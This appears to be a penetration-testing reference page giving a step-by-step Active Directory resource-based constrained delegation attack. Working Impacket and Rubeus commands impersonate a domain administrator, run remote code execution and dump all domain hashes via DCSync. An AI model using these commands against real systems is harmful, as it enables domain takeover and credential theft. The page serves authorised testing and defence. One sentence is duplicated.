# RBCD – Resource-Based Constrained Delegation Abuse

> Abuses msDS-AllowedToActOnBehalfOfOtherIdentity to gain delegated access, enabling impersonation of privileged users against target AD computer objects.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/rbcd-resource-based-constrained-delegation
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-07-01
- **Updated:** 2026-08-11

Resource-Based Constrained Delegation inverts the delegation model, instead of configuring which accounts can delegate to a resource, the resource itself specifies which accounts can delegate to it via the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute. If you have write access to that attribute on a target computer object, you can grant your own controlled account delegation rights to the target and then impersonate any user, including domain admins, against its services.

RBCD requirements:

- A controlled account with an SPN (create a machine account if MAQ > 0)
- Write access to the target's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute
- S4U2Self and S4U2Proxy to obtain a service ticket as a privileged user

Write access to the target computer object is commonly found via `GenericAll`, `GenericWrite`, or `WriteDACL` ACEs on computer objects, which BloodHound maps clearly. Write access is commonly found via `GenericAll`, `GenericWrite`, or `WriteDACL` ACEs on computer objects, which BloodHound maps clearly.

For using the resulting ticket for lateral movement, see [https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket](https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket).

## Step 1: Create a Controlled Machine Account

If you do not already control an account with an SPN, create a computer account. By default, domain users can create up to 10 machine accounts (`ms-DS-MachineAccountQuota`):

```bash
impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKPC$' -computer-pass 'Attacker123!' -dc-ip $TARGET_IP
```

Note the computer name and password, you need the hash in step 3.

If `MachineAccountQuota` is 0, you need to use an existing computer account you already control (one where you have local admin and can extract the machine hash).

## Step 2: Write the Delegation Attribute

Set `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target computer to allow your controlled machine account to delegate to it. Use `impacket-rbcd` or PowerView from a Windows host.

From Linux with Impacket:

```bash
impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-from 'ATTACKPC$' -delegate-to '$TARGET_HOSTNAME$' -action write -dc-ip $TARGET_IP
```

Verify the write succeeded:

```bash
impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-to '$TARGET_HOSTNAME$' -action read -dc-ip $TARGET_IP
```

## Step 3: Get the Hash of Your Controlled Machine Account

You need the NT hash of `ATTACKPC$` to request the S4U tickets. Get it with Impacket using the password you set:

```bash
impacket-secretsdump $DOMAIN/ATTACKPC\$:Attacker123!@$TARGET_IP -just-dc-ntlm
```

Or calculate it directly from the password:

```bash
python3 -c "import hashlib,binascii; print(binascii.hexlify(hashlib.new('md4', 'Attacker123!'.encode('utf-16le')).digest()).decode())"
```

## Step 4: Request a Service Ticket via S4U

Use `impacket-getST` to run S4U2Self and S4U2Proxy, impersonating a domain admin against the target:

```bash
impacket-getST $DOMAIN/ATTACKPC\$:Attacker123! -spn cifs/$TARGET_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP
```

With the NT hash directly:

```bash
impacket-getST $DOMAIN/ATTACKPC\$ -hashes :$MACHINE_HASH -spn cifs/$TARGET_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP
```

This saves `Administrator.ccache`.

## Step 5: Use the Ticket

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
impacket-wmiexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
impacket-smbexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
```

## Targeting a Domain Controller

If your write target is a DC and you can impersonate a domain admin against its LDAP service, you can perform DCSync directly:

```bash
impacket-getST $DOMAIN/ATTACKPC\$:Attacker123! -spn ldap/$DC_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump $DOMAIN/Administrator@$DC_HOSTNAME.$DOMAIN -k -no-pass -just-dc
```

This dumps all domain hashes without needing to land a shell on the DC.

## From Windows with Rubeus

Request the S4U ticket chain and inject it:

```powershell
Rubeus.exe s4u /user:ATTACKPC$ /rc4:$MACHINE_HASH /impersonateuser:Administrator /msdsspn:cifs/$TARGET_HOSTNAME.$DOMAIN /domain:$DOMAIN /dc:$TARGET_IP /ptt
```

## Cleanup

Remove the delegation attribute after the engagement:

```bash
impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-from 'ATTACKPC$' -delegate-to '$TARGET_HOSTNAME$' -action flush -dc-ip $TARGET_IP
```

Delete the machine account you created:

```bash
impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKPC$' -delete -dc-ip $TARGET_IP
```

## References

- [Impacket](https://github.com/fortra/impacket) - Fortra addcomputer.py, rbcd.py, and getST.py documentation.
- [Rubeus](https://github.com/GhostPack/Rubeus) - GhostPack s4u module documentation.
- [Wagging the Dog](https://eladshamir.com/2019/01/28/Wagging-the-Dog.html) - Elad Shamir Original RBCD abuse research covering attack prerequisites and mechanics.